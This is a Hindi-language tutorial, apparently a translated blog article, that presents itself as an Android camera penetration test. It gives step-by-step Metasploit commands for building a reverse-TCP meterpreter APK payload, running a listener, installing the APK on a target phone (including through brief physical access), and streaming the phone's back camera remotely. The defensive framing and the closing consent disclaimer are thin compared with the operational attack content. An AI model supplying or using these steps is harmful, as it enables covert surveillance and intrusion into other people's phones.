हैकर्स द्वारा Android फोन कैमरों को हाईजैक करके अपने उपयोगकर्ताओं की जासूसी करने या उन्हें नकली छवियां प्रदान करने की कई खबरें आई हैं। एक सतर्क फोन मालिक के रूप में, आप ऐसी खतरे की घटना की संभावना और वास्तविक जोखिमों का आकलन करके इसे रोकना चाह सकते हैं।
Kali Linux आपके Android फोन कैमरे की संभावित कमजोरियों को पेनेट्रेशन टेस्ट के माध्यम से जांचने के लिए सबसे अच्छे टूल्स में से एक है। यह आपको हैकर्स के फोन कैमरे को दूरस्थ रूप से एक्सेस करने के किसी भी प्रयास से निपटने में मदद कर सकता है।
एक एक्सप्लॉइट पेलोड इंस्टॉल करना
पेनेट्रेशन टेस्ट के लिए Kali Linux का उपयोग करने के लिए, पहले इसे इसकी आधिकारिक साइट से डाउनलोड करें। "msfvenom," "msfconsole," "meterpreter," आदि जैसे विभिन्न शब्दों की परिभाषाओं के लिए इस पहले के ट्यूटोरियल को देखें जिनका उपयोग इस अभ्यास में किया जाएगा।
पेनेट्रेशन टेस्टिंग में पहला कदम डिवाइस पर एक मानक एक्सप्लॉइट पेलोड इंस्टॉल करना है। इसके लिए, Kali Linux टर्मिनल खोलें और निम्न कमांड दर्ज करें: ifconfig. यह आपके Kali Linux सत्र का IP पता देगा।
अब उपरोक्त IP पते का उपयोग करके नीचे दिखाया गया कमांड दर्ज करें। एक्सप्लॉइट्स, ट्रोजन, और अन्य कमजोरियों के लिए पोर्ट नंबर आमतौर पर 4444 दिया जाता है।
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP address LPORT=Number R > Payload.apk
इस चरण में एक Metasploit पेलोड इंजेक्ट करने का प्रयास किया जाता है, जो Java इंटरप्रेटर पर आधारित है। यदि सफल होता है, तो पेनेट्रेशन टेस्ट आपको यह सत्यापित करने में मदद करेगा कि आपका फोन किसी के फोन कॉल सुनने, SMS एक्सेस करने, उपयोगकर्ता को जियो-लोकेट करने आदि के प्रति संवेदनशील है या नहीं।
इस मामले में प्रयास यह दिखाना है कि एक्सप्लॉइट का उपयोग फोन के कैमरों तक पहुंचने के लिए संभावित रूप से कैसे किया जा सकता है।
एक बार एक्सप्लॉइट शुरू हो जाने पर, "Payload" नामक एक APK फ़ाइल रूट फ़ोल्डर में इंस्टॉल हो जाएगी। आपको इसे एक लक्ष्य Android फोन पर इंस्टॉल करना होगा। हालांकि, यह कहा जाने से आसान है। अधिकांश नए Android फोन और ईमेल ऐसी मैलवेयर संक्रमित फ़ाइलों को ले जाने से मना कर देंगे, और यह अच्छी बात है।
हालांकि, इसे अभी भी USB केबल या अस्थायी फ़ाइलों के माध्यम से प्राप्त किया जा सकता है। यदि किसी हैकर के पास कुछ मिनटों के लिए आपके फोन तक पहुंच है, तो यह इसे कुछ हद तक कमजोर बनाता है। इस पेनेट्रेशन टेस्ट में हमारा प्रयास शामिल जोखिम की सटीक सीमा निर्धारित करना है।
एक्सप्लॉइट लॉन्च करना
उपरोक्त Payload एक्सप्लॉइट लॉन्च करने के लिए, निम्न कमांड डालें: msfconsole. कमांड को निष्पादित होने में बस कुछ सेकंड लगेंगे, और Metasploit को फोन के कैमरों पर आगे के पेनेट्रेशन टेस्ट के लिए तैयार किया जा सकता है।
Metasploit अपना पूरा विवरण देगा। पेलोड सारांश भी दिखाई देगा। यह काम पर एक्सप्लॉइट्स की संख्या दिखाता है।
अगले चरण में msfconsole एक्सप्लॉइट लॉन्च करने के लिए तैयार है। इसके लिए, पहले चर्चा किए गए IP पते और पोर्ट नंबर (4444) का संदर्भ लें। तदनुसार, निम्न कमांड दर्ज करें:
exploit (multi/handler) > set LHOST "IP Address" [ENTER] set LPORT "Port number" [ENTER] exploit [ENTER]
जब रिवर्स TCP हैंडलर सक्रिय होता है, तो आप Meterpreter के स्वयं को लॉन्च करने के विभिन्न चरण देखेंगे। लक्ष्य फोन का निदान करते समय कुछ सेकंड प्रतीक्षा करें।
यहां उल्लेख करना होगा कि अधिकांश आधुनिक Android फोन इस पहुंच को अस्वीकार करते रहेंगे। याद रखें यह एक पेनेट्रेशन टेस्ट है। यदि आपके Android फोन को इस घातक APK फ़ाइल का उपयोग करके भेदा नहीं जा सकता है, तो इसका मतलब है कि आपका फोन निर्माता इस विशेष हमले वेक्टर से अवगत है।
Android फोन के कैमरे तक पहुंचना
यदि आप फोन में एक्सप्लॉइट को सफलतापूर्वक डालने में सक्षम थे, तो एक मौका है कि अब इसे भेदा जा सकता है। जब ऐसा होता है, तो Kali Linux टर्मिनल पर "meterpreter" फोन के साथ कनेक्शन स्थापित करने में सक्षम होगा। इस बिंदु पर, Android फोन पर हमले के भीतर कई विकल्पों तक पहुंचने के लिए help डालें।
निम्न कमांड दर्ज करें (मदद मेनू से) अपने फोन के कैमरों तक पहुंचने के लिए। इस एक्सप्लॉइट में टर्मिनल से तस्वीरें लेने के लिए बैक कैमरे तक पहुंचने का प्रयास किया गया था।
webcam_list [ENTER] 1. Back camera 2. Front camera [ENTER] webcam_stream -i 1
एक सफल पेनेट्रेशन टेस्ट पूरा करने के लिए, एक बार जब आप कैमरे तक पहुंचने में सक्षम हो जाते हैं, तो एक तस्वीर लें और इसे Kali Linux रूट फ़ोल्डर में सहेजें। आप वहां स्टोर अन्य तस्वीरों को संपादित, नाम बदल या हटा भी सकते हैं। इसलिए, परीक्षण किए गए फोन पर कोई भी सफल पेनेट्रेशन एक वास्तविक हमले की संभावना पर वेक-अप कॉल है, जिसका मतलब है कि सुरक्षा पैच के लिए जाने का समय आ गया है।
इस ट्यूटोरियल में आपने सीखा कि Android कैमरे को पेनेट्रेशन टेस्टिंग के लिए Kali Linux टर्मिनल से कैसे एक्सेस किया जा सकता है।
यह एक सुरक्षा शोध लेख है। यदि आप प्रदर्शन के लिए किसी और के कैमरे तक पहुंच रहे हैं, तो हमेशा पहले उनकी अनुमति लें - जब तक, निश्चित रूप से, यह आपका अपना फोन न हो। अपने फोन में कमजोरियों को टेस्ट करने और खोजने में मदद के लिए Android के लिए इन हैकिंग ऐप्स को देखना न भूलें।
